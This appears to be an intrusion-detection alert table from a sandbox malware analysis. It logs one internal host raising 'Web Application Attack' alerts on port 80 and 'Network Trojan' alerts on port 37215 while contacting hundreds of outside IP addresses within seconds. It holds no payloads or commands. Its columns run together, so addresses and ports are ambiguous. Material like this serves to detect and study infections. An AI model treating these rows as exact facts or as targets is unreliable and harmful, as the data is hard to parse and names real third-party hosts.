              2024-12-03T23:17:37.319554+010020290341Web Application Attack192.168.2.2336218104.237.87.23380TCP
              2024-12-03T23:17:37.319615+010020290341Web Application Attack192.168.2.2350910126.170.127.8380TCP
              2024-12-03T23:17:37.319803+010020290341Web Application Attack192.168.2.235790482.161.146.21980TCP
              2024-12-03T23:17:37.325826+010020290341Web Application Attack192.168.2.2358474178.111.248.7480TCP
              2024-12-03T23:17:37.335175+010020290341Web Application Attack192.168.2.23438925.54.47.9880TCP
              2024-12-03T23:17:37.335329+010020290341Web Application Attack192.168.2.234011046.179.185.7980TCP
              2024-12-03T23:17:37.350646+010020290341Web Application Attack192.168.2.2341238158.185.230.16480TCP
              2024-12-03T23:17:37.350823+010020290341Web Application Attack192.168.2.2355326118.24.96.10380TCP
              2024-12-03T23:17:37.351252+010020290341Web Application Attack192.168.2.2334034111.183.112.12880TCP
              2024-12-03T23:17:38.388181+010020290341Web Application Attack192.168.2.233826436.139.199.20780TCP
              2024-12-03T23:17:38.419519+010020290341Web Application Attack192.168.2.2347036201.205.127.24380TCP
              2024-12-03T23:17:38.444544+010020290341Web Application Attack192.168.2.2348110101.194.178.3880TCP
              2024-12-03T23:17:38.444898+010020290341Web Application Attack192.168.2.2350560158.208.139.8280TCP
              2024-12-03T23:17:38.466779+010020290341Web Application Attack192.168.2.2344754129.219.241.17780TCP
              2024-12-03T23:17:39.122803+010020290341Web Application Attack192.168.2.235821693.82.218.15480TCP
              2024-12-03T23:17:39.147757+010020290341Web Application Attack192.168.2.2354828192.50.31.15380TCP
              2024-12-03T23:17:39.169795+010020290341Web Application Attack192.168.2.2357216181.105.47.22180TCP
              2024-12-03T23:17:39.169797+010020290341Web Application Attack192.168.2.2354008178.63.71.8480TCP
              2024-12-03T23:17:39.169897+010020290341Web Application Attack192.168.2.2339030101.35.59.11480TCP
              2024-12-03T23:17:39.170010+010020290341Web Application Attack192.168.2.2339538190.107.233.20080TCP
              2024-12-03T23:17:39.170353+010020290341Web Application Attack192.168.2.2346242164.239.150.20880TCP
              2024-12-03T23:17:39.225588+010020290341Web Application Attack192.168.2.2343060216.126.32.6480TCP
              2024-12-03T23:17:39.324009+010020290341Web Application Attack192.168.2.233320484.234.97.10080TCP
              2024-12-03T23:17:40.294679+010020290341Web Application Attack192.168.2.2343084153.12.49.14980TCP
              2024-12-03T23:17:40.372740+010020290341Web Application Attack192.168.2.2333576210.33.62.6280TCP
              2024-12-03T23:17:40.373134+010020290341Web Application Attack192.168.2.2354542191.50.71.22480TCP
              2024-12-03T23:17:40.403967+010020290341Web Application Attack192.168.2.2343518122.83.81.3280TCP
              2024-12-03T23:17:40.404124+010020290341Web Application Attack192.168.2.234509247.0.213.20580TCP
              2024-12-03T23:17:40.419540+010020290341Web Application Attack192.168.2.2337042158.73.164.12780TCP
              2024-12-03T23:17:40.419657+010020290341Web Application Attack192.168.2.234554872.158.162.25480TCP
              2024-12-03T23:17:40.428860+010020290341Web Application Attack192.168.2.234484694.117.229.13980TCP
              2024-12-03T23:17:40.439742+010020290341Web Application Attack192.168.2.2360308109.207.17.8480TCP
              2024-12-03T23:17:40.444160+010020290341Web Application Attack192.168.2.234079495.203.89.19080TCP
              2024-12-03T23:17:41.263615+010020290341Web Application Attack192.168.2.2340626109.228.229.3980TCP
              2024-12-03T23:17:41.263723+010020290341Web Application Attack192.168.2.234840693.198.207.10080TCP
              2024-12-03T23:17:41.279252+010020290341Web Application Attack192.168.2.234693696.222.109.3680TCP
              2024-12-03T23:17:41.294698+010020290341Web Application Attack192.168.2.233962664.123.102.12780TCP
              2024-12-03T23:17:41.294894+010020290341Web Application Attack192.168.2.2355460104.148.123.4480TCP
              2024-12-03T23:17:41.303838+010020290341Web Application Attack192.168.2.235401812.162.227.6980TCP
              2024-12-03T23:17:41.350864+010020290341Web Application Attack192.168.2.2332966153.221.39.15580TCP
              2024-12-03T23:17:41.351055+010020290341Web Application Attack192.168.2.2333968222.224.60.12680TCP
              2024-12-03T23:17:41.513252+010020290341Web Application Attack192.168.2.234257275.157.11.19280TCP
              2024-12-03T23:17:41.528867+010020290341Web Application Attack192.168.2.235127498.134.159.6780TCP
              2024-12-03T23:17:41.544538+010020290341Web Application Attack192.168.2.235042499.237.27.18980TCP
              2024-12-03T23:17:41.544625+010020290341Web Application Attack192.168.2.235974070.10.76.9380TCP
              2024-12-03T23:17:41.553753+010020290341Web Application Attack192.168.2.2345076108.177.60.10180TCP
              2024-12-03T23:17:41.560774+010020290341Web Application Attack192.168.2.2353618145.172.17.25580TCP
              2024-12-03T23:17:41.591493+010020290341Web Application Attack192.168.2.2357186210.170.129.19980TCP
              2024-12-03T23:17:42.386429+010020290341Web Application Attack192.168.2.2357218108.138.108.480TCP
              2024-12-03T23:17:42.544735+010020290341Web Application Attack192.168.2.2340368179.17.44.14180TCP
              2024-12-03T23:17:42.591600+010020290341Web Application Attack192.168.2.233657227.214.211.17780TCP
              2024-12-03T23:17:42.591678+010020290341Web Application Attack192.168.2.2349298177.233.208.12380TCP
              2024-12-03T23:17:42.600874+010020290341Web Application Attack192.168.2.233528032.243.68.24580TCP
              2024-12-03T23:17:42.601085+010020290341Web Application Attack192.168.2.2349870176.59.98.16780TCP
              2024-12-03T23:17:42.632024+010020290341Web Application Attack192.168.2.2348776120.161.206.6580TCP
              2024-12-03T23:17:42.716565+010020290341Web Application Attack192.168.2.234302275.201.55.22580TCP
              2024-12-03T23:17:42.725808+010020290341Web Application Attack192.168.2.235210086.57.5.11880TCP
              2024-12-03T23:17:42.726015+010020290341Web Application Attack192.168.2.2352288169.111.117.11880TCP
              2024-12-03T23:17:42.747855+010020290341Web Application Attack192.168.2.234053462.46.104.11680TCP
              2024-12-03T23:17:42.748177+010020290341Web Application Attack192.168.2.2336034180.31.104.2080TCP
              2024-12-03T23:17:42.757096+010020290341Web Application Attack192.168.2.233864461.145.237.2780TCP
              2024-12-03T23:17:42.757191+010020290341Web Application Attack192.168.2.2337084141.0.13.7780TCP
              2024-12-03T23:17:42.772875+010020290341Web Application Attack192.168.2.2360114113.229.229.6580TCP
              2024-12-03T23:17:43.476134+010020290341Web Application Attack192.168.2.2345282176.218.66.4380TCP
              2024-12-03T23:17:43.544916+010020290341Web Application Attack192.168.2.234781499.142.16.5780TCP
              2024-12-03T23:17:43.544926+010020290341Web Application Attack192.168.2.2338098118.12.236.10080TCP
              2024-12-03T23:17:43.545026+010020290341Web Application Attack192.168.2.2347282162.211.28.3580TCP
              2024-12-03T23:17:43.545163+010020290341Web Application Attack192.168.2.2344474181.255.226.19780TCP
              2024-12-03T23:17:43.545266+010020290341Web Application Attack192.168.2.2352494104.228.210.2480TCP
              2024-12-03T23:17:43.545506+010020290341Web Application Attack192.168.2.2359778160.84.155.17380TCP
              2024-12-03T23:17:43.545547+010020290341Web Application Attack192.168.2.2344928103.200.37.2480TCP
              2024-12-03T23:17:43.545570+010020290341Web Application Attack192.168.2.2333356195.84.210.15980TCP
              2024-12-03T23:17:43.553926+010020290341Web Application Attack192.168.2.235450264.247.99.8780TCP
              2024-12-03T23:17:43.569661+010020290341Web Application Attack192.168.2.2360034156.50.81.11080TCP
              2024-12-03T23:17:43.600779+010020290341Web Application Attack192.168.2.2346022196.207.212.980TCP
              2024-12-03T23:17:43.600944+010020290341Web Application Attack192.168.2.233372024.24.67.17780TCP
              2024-12-03T23:17:43.600975+010020290341Web Application Attack192.168.2.2337706183.99.184.14280TCP
              2024-12-03T23:17:44.826356+010020290341Web Application Attack192.168.2.2359810109.122.15.20580TCP
              2024-12-03T23:17:44.826631+010020290341Web Application Attack192.168.2.2356896175.250.210.2580TCP
              2024-12-03T23:17:44.841981+010020290341Web Application Attack192.168.2.235145685.181.130.22880TCP
              2024-12-03T23:17:44.842842+010020290341Web Application Attack192.168.2.2351540119.10.235.480TCP
              2024-12-03T23:17:44.857228+010020290341Web Application Attack192.168.2.235806036.138.245.12580TCP
              2024-12-03T23:17:44.882634+010020290341Web Application Attack192.168.2.2343940123.188.152.4480TCP
              2024-12-03T23:17:44.882843+010020290341Web Application Attack192.168.2.234180497.183.114.3880TCP
              2024-12-03T23:17:45.076225+010020290341Web Application Attack192.168.2.2336376153.10.180.380TCP
              2024-12-03T23:17:45.100957+010020290341Web Application Attack192.168.2.2341258146.32.250.19280TCP
              2024-12-03T23:17:45.142141+010020290341Web Application Attack192.168.2.235320437.144.233.9080TCP
              2024-12-03T23:17:45.147457+010020290341Web Application Attack192.168.2.23420582.26.191.5380TCP
              2024-12-03T23:17:45.147596+010020290341Web Application Attack192.168.2.233281240.183.93.13680TCP
              2024-12-03T23:17:45.163518+010020290341Web Application Attack192.168.2.2353474210.104.45.4080TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-03T23:16:55.514927+010028352221A Network Trojan was detected192.168.2.2359722156.245.131.4737215TCP
              2024-12-03T23:16:57.053070+010028352221A Network Trojan was detected192.168.2.2354632197.232.110.5537215TCP
              2024-12-03T23:17:02.608297+010028352221A Network Trojan was detected192.168.2.2353654197.221.101.2937215TCP
              2024-12-03T23:17:09.496963+010028352221A Network Trojan was detected192.168.2.2357276156.124.55.11037215TCP
              2024-12-03T23:17:09.653524+010028352221A Network Trojan was detected192.168.2.2355264197.25.172.12437215TCP
              2024-12-03T23:17:09.662591+010028352221A Network Trojan was detected192.168.2.2358794197.57.240.23937215TCP
              2024-12-03T23:17:09.678302+010028352221A Network Trojan was detected192.168.2.2333594197.184.110.7237215TCP
              2024-12-03T23:17:09.835253+010028352221A Network Trojan was detected192.168.2.2332914156.73.199.20837215TCP
              2024-12-03T23:17:10.409973+010028352221A Network Trojan was detected192.168.2.2347168156.224.237.8537215TCP
              2024-12-03T23:17:10.637869+010028352221A Network Trojan was detected192.168.2.235649241.50.74.6437215TCP
              2024-12-03T23:17:10.647254+010028352221A Network Trojan was detected192.168.2.2350796156.213.87.16837215TCP
              2024-12-03T23:17:10.841592+010028352221A Network Trojan was detected192.168.2.2357816156.242.231.16537215TCP
              2024-12-03T23:17:10.876156+010028352221A Network Trojan was detected192.168.2.2353784197.5.80.2537215TCP
              2024-12-03T23:17:11.038532+010028352221A Network Trojan was detected192.168.2.234667441.174.160.837215TCP
              2024-12-03T23:17:11.497193+010028352221A Network Trojan was detected192.168.2.2344246197.128.128.14637215TCP
              2024-12-03T23:17:11.778295+010028352221A Network Trojan was detected192.168.2.2345386197.101.175.18737215TCP
              2024-12-03T23:17:11.803229+010028352221A Network Trojan was detected192.168.2.2343480156.113.104.22037215TCP
              2024-12-03T23:17:11.887756+010028352221A Network Trojan was detected192.168.2.2335412197.99.145.037215TCP
              2024-12-03T23:17:11.966520+010028352221A Network Trojan was detected192.168.2.2344632156.133.165.11537215TCP
              2024-12-03T23:17:12.028478+010028352221A Network Trojan was detected192.168.2.2349248197.173.204.937215TCP
              2024-12-03T23:17:12.071052+010028352221A Network Trojan was detected192.168.2.2355748197.79.45.18237215TCP
              2024-12-03T23:17:12.086281+010028352221A Network Trojan was detected192.168.2.2352214197.168.254.20537215TCP
              2024-12-03T23:17:12.147458+010028352221A Network Trojan was detected192.168.2.233517641.171.44.19637215TCP
              2024-12-03T23:17:12.147625+010028352221A Network Trojan was detected192.168.2.235261441.238.72.22937215TCP
              2024-12-03T23:17:12.793929+010028352221A Network Trojan was detected192.168.2.2350496197.48.57.20737215TCP
              2024-12-03T23:17:12.793983+010028352221A Network Trojan was detected192.168.2.233393641.181.27.3037215TCP
              2024-12-03T23:17:12.794075+010028352221A Network Trojan was detected192.168.2.2341580156.196.177.23237215TCP
              2024-12-03T23:17:12.794180+010028352221A Network Trojan was detected192.168.2.2339288197.28.236.19037215TCP
              2024-12-03T23:17:12.794242+010028352221A Network Trojan was detected192.168.2.2346372156.225.40.13137215TCP
              2024-12-03T23:17:12.825245+010028352221A Network Trojan was detected192.168.2.2333232156.48.44.4637215TCP
              2024-12-03T23:17:12.825442+010028352221A Network Trojan was detected192.168.2.233713241.240.1.2237215TCP
              2024-12-03T23:17:12.834556+010028352221A Network Trojan was detected192.168.2.2334430156.127.13.24037215TCP
              2024-12-03T23:17:12.834638+010028352221A Network Trojan was detected192.168.2.2334056156.79.85.12037215TCP
              2024-12-03T23:17:12.840909+010028352221A Network Trojan was detected192.168.2.2337732197.68.34.7437215TCP
              2024-12-03T23:17:12.841002+010028352221A Network Trojan was detected192.168.2.235306241.23.152.11237215TCP
              2024-12-03T23:17:12.841133+010028352221A Network Trojan was detected192.168.2.2335240197.81.114.15537215TCP
              2024-12-03T23:17:12.841301+010028352221A Network Trojan was detected192.168.2.234539041.28.122.11337215TCP
              2024-12-03T23:17:12.841408+010028352221A Network Trojan was detected192.168.2.2334144156.42.173.14337215TCP
              2024-12-03T23:17:12.841551+010028352221A Network Trojan was detected192.168.2.2340604156.153.176.17537215TCP
              2024-12-03T23:17:12.841719+010028352221A Network Trojan was detected192.168.2.2356056197.81.131.137215TCP
              2024-12-03T23:17:12.841831+010028352221A Network Trojan was detected192.168.2.2358986197.120.27.10737215TCP
              2024-12-03T23:17:12.850137+010028352221A Network Trojan was detected192.168.2.234142841.118.107.11337215TCP
              2024-12-03T23:17:12.850232+010028352221A Network Trojan was detected192.168.2.2333986156.47.233.20037215TCP
              2024-12-03T23:17:12.850438+010028352221A Network Trojan was detected192.168.2.2341480197.142.95.10437215TCP
              2024-12-03T23:17:12.850564+010028352221A Network Trojan was detected192.168.2.234653841.199.42.10937215TCP
              2024-12-03T23:17:12.850704+010028352221A Network Trojan was detected192.168.2.2346716197.21.86.4137215TCP
              2024-12-03T23:17:12.850812+010028352221A Network Trojan was detected192.168.2.2342006156.54.52.6437215TCP
              2024-12-03T23:17:12.850986+010028352221A Network Trojan was detected192.168.2.2337612197.3.73.6537215TCP
              2024-12-03T23:17:12.851076+010028352221A Network Trojan was detected192.168.2.2351038197.170.158.1337215TCP
              2024-12-03T23:17:12.851256+010028352221A Network Trojan was detected192.168.2.2350508197.45.230.25337215TCP
              2024-12-03T23:17:12.851402+010028352221A Network Trojan was detected192.168.2.2337080156.2.32.20537215TCP
              2024-12-03T23:17:13.012752+010028352221A Network Trojan was detected192.168.2.2352520156.101.193.9537215TCP
              2024-12-03T23:17:13.012803+010028352221A Network Trojan was detected192.168.2.2342332197.171.142.24937215TCP
              2024-12-03T23:17:13.012936+010028352221A Network Trojan was detected192.168.2.2343802156.7.205.18337215TCP
              2024-12-03T23:17:13.044014+010028352221A Network Trojan was detected192.168.2.2343914156.181.180.18037215TCP
              2024-12-03T23:17:13.053256+010028352221A Network Trojan was detected192.168.2.2338650156.124.6.10437215TCP
              2024-12-03T23:17:13.053434+010028352221A Network Trojan was detected192.168.2.235490841.50.237.22437215TCP
              2024-12-03T23:17:13.053700+010028352221A Network Trojan was detected192.168.2.2339802156.202.143.17637215TCP
              2024-12-03T23:17:13.075240+010028352221A Network Trojan was detected192.168.2.2356700156.55.85.2337215TCP
              2024-12-03T23:17:13.084652+010028352221A Network Trojan was detected192.168.2.2353868197.175.227.3037215TCP
              2024-12-03T23:17:13.100668+010028352221A Network Trojan was detected192.168.2.2333164156.104.224.25037215TCP
              2024-12-03T23:17:14.075471+010028352221A Network Trojan was detected192.168.2.2339030197.119.32.2137215TCP
              2024-12-03T23:17:14.090905+010028352221A Network Trojan was detected192.168.2.234544841.65.89.17637215TCP
              2024-12-03T23:17:14.091001+010028352221A Network Trojan was detected192.168.2.234416441.53.240.9137215TCP
              2024-12-03T23:17:14.091343+010028352221A Network Trojan was detected192.168.2.2351536156.144.180.22237215TCP
              2024-12-03T23:17:14.100177+010028352221A Network Trojan was detected192.168.2.2350342197.186.102.7837215TCP
              2024-12-03T23:17:14.106678+010028352221A Network Trojan was detected192.168.2.235389841.150.130.7337215TCP
              2024-12-03T23:17:14.106801+010028352221A Network Trojan was detected192.168.2.2349936156.67.180.15537215TCP
              2024-12-03T23:17:14.106917+010028352221A Network Trojan was detected192.168.2.234133641.211.150.25337215TCP
              2024-12-03T23:17:14.107024+010028352221A Network Trojan was detected192.168.2.2339304156.122.138.2337215TCP
              2024-12-03T23:17:14.143681+010028352221A Network Trojan was detected192.168.2.2343094197.129.180.18037215TCP
              2024-12-03T23:17:14.147458+010028352221A Network Trojan was detected192.168.2.233459441.197.26.18937215TCP
              2024-12-03T23:17:14.162714+010028352221A Network Trojan was detected192.168.2.235533841.122.67.19037215TCP
              2024-12-03T23:17:14.178723+010028352221A Network Trojan was detected192.168.2.2335226197.197.150.337215TCP
              2024-12-03T23:17:14.178863+010028352221A Network Trojan was detected192.168.2.2360772156.97.251.24737215TCP
              2024-12-03T23:17:14.178970+010028352221A Network Trojan was detected192.168.2.2348274156.45.45.25237215TCP
              2024-12-03T23:17:14.841011+010028352221A Network Trojan was detected192.168.2.235664241.244.31.15037215TCP
              2024-12-03T23:17:14.850206+010028352221A Network Trojan was detected192.168.2.2360052156.191.5.5737215TCP
              2024-12-03T23:17:14.850311+010028352221A Network Trojan was detected192.168.2.2347960156.151.133.16537215TCP
              2024-12-03T23:17:14.881483+010028352221A Network Trojan was detected192.168.2.2340938197.22.3.21837215TCP
              2024-12-03T23:17:14.950263+010028352221A Network Trojan was detected192.168.2.233475641.5.104.10037215TCP
              2024-12-03T23:17:14.950459+010028352221A Network Trojan was detected192.168.2.235637841.49.33.24537215TCP
              2024-12-03T23:17:14.966457+010028352221A Network Trojan was detected192.168.2.236013641.47.204.10837215TCP
              2024-12-03T23:17:14.966840+010028352221A Network Trojan was detected192.168.2.2351584156.87.239.15837215TCP
              2024-12-03T23:17:14.966842+010028352221A Network Trojan was detected192.168.2.234036641.131.210.9237215TCP
              2024-12-03T23:17:14.975178+010028352221A Network Trojan was detected192.168.2.2334606197.117.181.637215TCP
              2024-12-03T23:17:14.975333+010028352221A Network Trojan was detected192.168.2.2333220156.151.72.16837215TCP
              2024-12-03T23:17:14.975467+010028352221A Network Trojan was detected192.168.2.2355824156.251.110.11637215TCP
              2024-12-03T23:17:15.122291+010028352221A Network Trojan was detected192.168.2.235433641.214.171.16537215TCP
              2024-12-03T23:17:15.150239+010028352221A Network Trojan was detected192.168.2.2347286197.213.171.13637215TCP
              2024-12-03T23:17:15.153306+010028352221A Network Trojan was detected192.168.2.233561841.235.181.10037215TCP
              2024-12-03T23:17:15.169066+010028352221A Network Trojan was detected192.168.2.2338810156.200.241.12937215TCP
              2024-12-03T23:17:15.209683+010028352221A Network Trojan was detected192.168.2.2335786197.16.62.18537215TCP
              2024-12-03T23:17:15.216104+010028352221A Network Trojan was detected192.168.2.235590441.80.208.21737215TCP
              2024-12-03T23:17:15.225382+010028352221A Network Trojan was detected192.168.2.233652441.39.127.22737215TCP
              2024-12-03T23:17:16.200614+010028352221A Network Trojan was detected192.168.2.2344880197.5.171.937215TCP
              2024-12-03T23:17:16.326940+010028352221A Network Trojan was detected192.168.2.2351128197.125.253.24337215TCP
              2024-12-03T23:17:16.340886+010028352221A Network Trojan was detected192.168.2.2356254197.238.134.5037215TCP
              2024-12-03T23:17:16.350096+010028352221A Network Trojan was detected192.168.2.2349198197.22.155.14337215TCP
              2024-12-03T23:17:16.350298+010028352221A Network Trojan was detected192.168.2.234041441.144.60.937215TCP
              2024-12-03T23:17:16.366297+010028352221A Network Trojan was detected192.168.2.2340564156.76.208.9337215TCP
              2024-12-03T23:17:16.381422+010028352221A Network Trojan was detected192.168.2.2346806197.50.157.037215TCP
              2024-12-03T23:17:16.397113+010028352221A Network Trojan was detected192.168.2.2347480197.246.98.8637215TCP
              2024-12-03T23:17:17.341292+010028352221A Network Trojan was detected192.168.2.2355172197.20.66.17637215TCP
              2024-12-03T23:17:17.397151+010028352221A Network Trojan was detected192.168.2.2347928156.131.124.11037215TCP
              2024-12-03T23:17:17.419237+010028352221A Network Trojan was detected192.168.2.2335828156.95.85.10837215TCP
              2024-12-03T23:17:17.459460+010028352221A Network Trojan was detected192.168.2.2349004197.202.167.13137215TCP
              2024-12-03T23:17:17.638108+010028352221A Network Trojan was detected192.168.2.2338342156.92.173.15937215TCP
              2024-12-03T23:17:17.647404+010028352221A Network Trojan was detected192.168.2.233638041.129.69.5737215TCP
              2024-12-03T23:17:17.662767+010028352221A Network Trojan was detected192.168.2.2357086197.72.154.11537215TCP
              2024-12-03T23:17:17.669296+010028352221A Network Trojan was detected192.168.2.235138441.56.183.2237215TCP
              2024-12-03T23:17:19.342341+010028352221A Network Trojan was detected192.168.2.233503841.87.30.13437215TCP
              2024-12-03T23:17:19.357007+010028352221A Network Trojan was detected192.168.2.2347764156.0.134.9537215TCP
              2024-12-03T23:17:19.372476+010028352221A Network Trojan was detected192.168.2.2342246197.237.65.7537215TCP
              2024-12-03T23:17:19.372559+010028352221A Network Trojan was detected192.168.2.2342716197.215.236.20237215TCP
              2024-12-03T23:17:19.372707+010028352221A Network Trojan was detected192.168.2.2347618197.189.24.7837215TCP
              2024-12-03T23:17:19.381923+010028352221A Network Trojan was detected192.168.2.2350438197.78.119.5637215TCP
              2024-12-03T23:17:19.382044+010028352221A Network Trojan was detected192.168.2.2340708156.48.134.6637215TCP
              2024-12-03T23:17:19.382253+010028352221A Network Trojan was detected192.168.2.2336864156.17.245.16537215TCP
              2024-12-03T23:17:19.382375+010028352221A Network Trojan was detected192.168.2.2346686197.157.34.14937215TCP
              2024-12-03T23:17:19.387783+010028352221A Network Trojan was detected192.168.2.234867441.63.137.24437215TCP
              2024-12-03T23:17:19.387893+010028352221A Network Trojan was detected192.168.2.235693241.76.137.3637215TCP
              2024-12-03T23:17:19.388030+010028352221A Network Trojan was detected192.168.2.2350768156.41.191.7437215TCP
              2024-12-03T23:17:19.397188+010028352221A Network Trojan was detected192.168.2.2345550197.68.104.9237215TCP
              2024-12-03T23:17:19.403662+010028352221A Network Trojan was detected192.168.2.233991641.63.158.24037215TCP
              2024-12-03T23:17:19.403766+010028352221A Network Trojan was detected192.168.2.233943241.116.81.24737215TCP
              2024-12-03T23:17:19.403949+010028352221A Network Trojan was detected192.168.2.235124641.19.18.13937215TCP
              2024-12-03T23:17:19.419662+010028352221A Network Trojan was detected192.168.2.2339882156.112.195.10137215TCP
              2024-12-03T23:17:19.428344+010028352221A Network Trojan was detected192.168.2.2348906156.8.192.18437215TCP
              2024-12-03T23:17:19.428455+010028352221A Network Trojan was detected192.168.2.2359396197.84.129.21237215TCP
              2024-12-03T23:17:19.439520+010028352221A Network Trojan was detected192.168.2.233277641.222.2.13137215TCP
              2024-12-03T23:17:19.444033+010028352221A Network Trojan was detected192.168.2.2335458156.10.152.7937215TCP
              2024-12-03T23:17:19.444045+010028352221A Network Trojan was detected192.168.2.233905641.150.245.6637215TCP
              2024-12-03T23:17:19.444147+010028352221A Network Trojan was detected192.168.2.234280441.121.213.16537215TCP
              2024-12-03T23:17:19.444231+010028352221A Network Trojan was detected192.168.2.234822441.112.130.19537215TCP
              2024-12-03T23:17:19.459551+010028352221A Network Trojan was detected192.168.2.2360420156.98.201.3637215TCP
              2024-12-03T23:17:19.459761+010028352221A Network Trojan was detected192.168.2.2336796156.66.157.1537215TCP
              2024-12-03T23:17:19.459794+010028352221A Network Trojan was detected192.168.2.2344718197.142.165.22237215TCP
              2024-12-03T23:17:19.475333+010028352221A Network Trojan was detected192.168.2.233390241.56.90.10037215TCP
              2024-12-03T23:17:19.624473+010028352221A Network Trojan was detected192.168.2.233426441.91.169.537215TCP
              2024-12-03T23:17:19.624574+010028352221A Network Trojan was detected192.168.2.2336186197.28.130.21437215TCP
              2024-12-03T23:17:19.678349+010028352221A Network Trojan was detected192.168.2.2342288156.17.134.15237215TCP
              2024-12-03T23:17:19.678465+010028352221A Network Trojan was detected192.168.2.234201041.63.89.13437215TCP
              2024-12-03T23:17:20.497402+010028352221A Network Trojan was detected192.168.2.235214041.94.254.9537215TCP
              2024-12-03T23:17:20.497506+010028352221A Network Trojan was detected192.168.2.235842041.0.163.3337215TCP
              2024-12-03T23:17:20.512848+010028352221A Network Trojan was detected192.168.2.235499841.41.166.25537215TCP
              2024-12-03T23:17:20.512928+010028352221A Network Trojan was detected192.168.2.236068641.61.7.12237215TCP
              2024-12-03T23:17:20.544216+010028352221A Network Trojan was detected192.168.2.2359090197.120.168.2637215TCP
              2024-12-03T23:17:20.544340+010028352221A Network Trojan was detected192.168.2.2338510197.252.111.3537215TCP
              2024-12-03T23:17:20.544413+010028352221A Network Trojan was detected192.168.2.2333494197.28.20.7137215TCP
              2024-12-03T23:17:20.544512+010028352221A Network Trojan was detected192.168.2.2337410197.173.168.24037215TCP
              2024-12-03T23:17:20.575507+010028352221A Network Trojan was detected192.168.2.2354570156.127.111.16937215TCP
              2024-12-03T23:17:20.575610+010028352221A Network Trojan was detected192.168.2.2352450197.180.77.16037215TCP
              2024-12-03T23:17:20.584664+010028352221A Network Trojan was detected192.168.2.2341074197.239.247.10837215TCP
              2024-12-03T23:17:20.600436+010028352221A Network Trojan was detected192.168.2.2349228197.239.234.13537215TCP
              2024-12-03T23:17:20.600492+010028352221A Network Trojan was detected192.168.2.234350641.151.195.837215TCP
              2024-12-03T23:17:20.600715+010028352221A Network Trojan was detected192.168.2.2342572156.139.214.5037215TCP
              2024-12-03T23:17:20.606578+010028352221A Network Trojan was detected192.168.2.2354052197.124.106.21137215TCP
              2024-12-03T23:17:20.616007+010028352221A Network Trojan was detected192.168.2.2353020197.127.223.12637215TCP
              2024-12-03T23:17:20.622734+010028352221A Network Trojan was detected192.168.2.234822641.93.144.337215TCP
              2024-12-03T23:17:20.669076+010028352221A Network Trojan was detected192.168.2.234747641.110.222.5937215TCP
              2024-12-03T23:17:20.669189+010028352221A Network Trojan was detected192.168.2.2359350197.189.28.1637215TCP
              2024-12-03T23:17:20.709716+010028352221A Network Trojan was detected192.168.2.234260241.46.47.24237215TCP
              2024-12-03T23:17:20.709876+010028352221A Network Trojan was detected192.168.2.234273241.52.167.16637215TCP
              2024-12-03T23:17:21.669128+010028352221A Network Trojan was detected192.168.2.235839441.199.73.6137215TCP
              2024-12-03T23:17:21.684656+010028352221A Network Trojan was detected192.168.2.2357390197.16.92.11937215TCP
              2024-12-03T23:17:21.840977+010028352221A Network Trojan was detected192.168.2.2335048156.49.30.17837215TCP
              2024-12-03T23:17:21.841093+010028352221A Network Trojan was detected192.168.2.233325441.231.149.6237215TCP
              2024-12-03T23:17:21.850309+010028352221A Network Trojan was detected192.168.2.235640441.205.232.24537215TCP
              2024-12-03T23:17:21.865794+010028352221A Network Trojan was detected192.168.2.234471841.198.9.21937215TCP
              2024-12-03T23:17:22.044084+010028352221A Network Trojan was detected192.168.2.2346244156.91.63.10037215TCP
              2024-12-03T23:17:22.044214+010028352221A Network Trojan was detected192.168.2.234577841.47.88.8737215TCP
              2024-12-03T23:17:22.044287+010028352221A Network Trojan was detected192.168.2.235737441.155.36.9837215TCP
              2024-12-03T23:17:22.053392+010028352221A Network Trojan was detected192.168.2.235822641.101.112.13637215TCP
              2024-12-03T23:17:22.053501+010028352221A Network Trojan was detected192.168.2.233600041.18.246.17637215TCP
              2024-12-03T23:17:22.059823+010028352221A Network Trojan was detected192.168.2.2358786156.137.46.13537215TCP
              2024-12-03T23:17:22.059963+010028352221A Network Trojan was detected192.168.2.234722241.143.113.9637215TCP
              2024-12-03T23:17:22.069249+010028352221A Network Trojan was detected192.168.2.2344170197.142.170.9137215TCP
              2024-12-03T23:17:22.100290+010028352221A Network Trojan was detected192.168.2.234088841.223.16.7337215TCP
              2024-12-03T23:17:22.100403+010028352221A Network Trojan was detected192.168.2.2356528156.178.217.737215TCP
              2024-12-03T23:17:22.100460+010028352221A Network Trojan was detected192.168.2.235185841.63.78.5337215TCP
              2024-12-03T23:17:22.622622+010028352221A Network Trojan was detected192.168.2.2339398197.63.2.17637215TCP
              2024-12-03T23:17:22.638443+010028352221A Network Trojan was detected192.168.2.2336564197.48.241.24237215TCP
              2024-12-03T23:17:22.669170+010028352221A Network Trojan was detected192.168.2.2338534156.126.90.16437215TCP
              2024-12-03T23:17:22.794112+010028352221A Network Trojan was detected192.168.2.2356144156.98.238.14037215TCP
              2024-12-03T23:17:22.851506+010028352221A Network Trojan was detected192.168.2.2338922156.230.113.23437215TCP
              2024-12-03T23:17:23.100438+010028352221A Network Trojan was detected192.168.2.235054041.2.97.16137215TCP
              2024-12-03T23:17:23.919791+010028352221A Network Trojan was detected192.168.2.2358110156.246.128.10237215TCP
              2024-12-03T23:17:24.809843+010028352221A Network Trojan was detected192.168.2.2342266156.3.32.2837215TCP
              2024-12-03T23:17:24.809899+010028352221A Network Trojan was detected192.168.2.233370641.161.197.25437215TCP
              2024-12-03T23:17:24.850446+010028352221A Network Trojan was detected192.168.2.2347702197.111.248.437215TCP
              2024-12-03T23:17:24.850636+010028352221A Network Trojan was detected192.168.2.2353340197.195.235.25137215TCP
              2024-12-03T23:17:25.967022+010028352221A Network Trojan was detected192.168.2.2344210156.26.242.19337215TCP
              2024-12-03T23:17:25.981812+010028352221A Network Trojan was detected192.168.2.2347284197.97.198.2837215TCP
              2024-12-03T23:17:26.022139+010028352221A Network Trojan was detected192.168.2.235016841.195.59.17337215TCP
              2024-12-03T23:17:26.037936+010028352221A Network Trojan was detected192.168.2.234279041.77.221.5337215TCP
              2024-12-03T23:17:26.146044+010028352221A Network Trojan was detected192.168.2.2344906197.157.222.19837215TCP
              2024-12-03T23:17:28.013570+010028352221A Network Trojan was detected192.168.2.2349830197.129.239.15337215TCP
              2024-12-03T23:17:28.022369+010028352221A Network Trojan was detected192.168.2.2336338156.179.25.19937215TCP
              2024-12-03T23:17:28.022439+010028352221A Network Trojan was detected192.168.2.2357924156.11.211.8437215TCP
              2024-12-03T23:17:28.028692+010028352221A Network Trojan was detected192.168.2.2353672197.206.30.9237215TCP
